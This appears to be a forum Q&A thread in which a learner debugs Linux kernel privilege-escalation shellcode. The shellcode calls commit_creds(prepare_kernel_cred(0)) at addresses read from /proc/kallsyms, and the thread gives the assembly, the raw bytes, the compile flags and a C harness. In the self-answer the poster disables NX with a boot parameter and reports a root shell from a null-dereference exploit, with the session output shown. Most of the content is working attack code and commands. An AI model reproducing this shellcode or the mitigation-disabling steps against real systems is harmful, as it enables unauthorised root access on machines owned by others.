linux kernel exploit shellcode causes segfault

Question

I'm learning how to write kernel exploits and my shellcode keeps seg faulting.

I'm getting the memory address for commit_creds(prepare_kernel_cred(0));

#grep commit_creds /proc/kallsyms
c907eea0 T commit_creds

#grep prepare_kernel_cred /proc/kallsyms
c907f1d0 T prepare_kernel_cred

shellcode.s

main:
 xor %eax,%eax
 call 0xc907f1d0
 call 0xc907eea0
 ret

compile shellcode:

gcc -fno-stack-protector -m32 -z execstack -N -o payload payload.s -nostdlib -Ttext=0

objdump -d shellcode

 payload:     file format elf32-i386


 Disassembly of section .text:

  00000000 <.text>:
      0:    31 c0                   xor    %eax,%eax
      2:    e8 c9 f1 07 c9          call   c907f1d0 <__bss_start+0xc907f158>
      7:    e8 94 ee 07 c9          call   c907eea0 <__bss_start+0xc907ee28>
      c:    c3

shell.c

#include<stdio.h>
#include<string.h>

const char shellcode[] = "\x31\xc0\xe8\xc9\xf1\x07\xc9\xe8\x94\xee\x07\xc9\xc3";

int main()
{

    printf("Shellcode Length:  %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
    return 0;
}

gcc -fno-stack-protector -z execstack -m32 shell.c -o shell

./shell

OUTPUT:

 Shellcode Length:  13
 Segmentation fault

I'm not sure why it crashes on x86.

Please help.

Answer 1

All good I have figured it out all I needed to do is turn off NX Execute in the kernel terminal by

pressing e and type in noexec=off on the linux line and boot in by pressing F-10 and compile the exploit with.

  gcc -m32 -fno-stack-protector -z execstack w00t.c -o w00t

and I also didn't need to test the shellcode because it kept segfaulting.

but it worked!! I got root!!

OUTPUT:

  root@kali:~/null_dereference# su blake
  blake@kali:/root/null_dereference$ ./w00t 

    [-] Allocating memory.
    [-] Copying shellcode into memory.
    [-] Opening file descriptor. 

            *** BANG ***
            ------------

    [+] YOU ARE ROOT

    # id
    uid=0(root) gid=0(root) groups=0(root)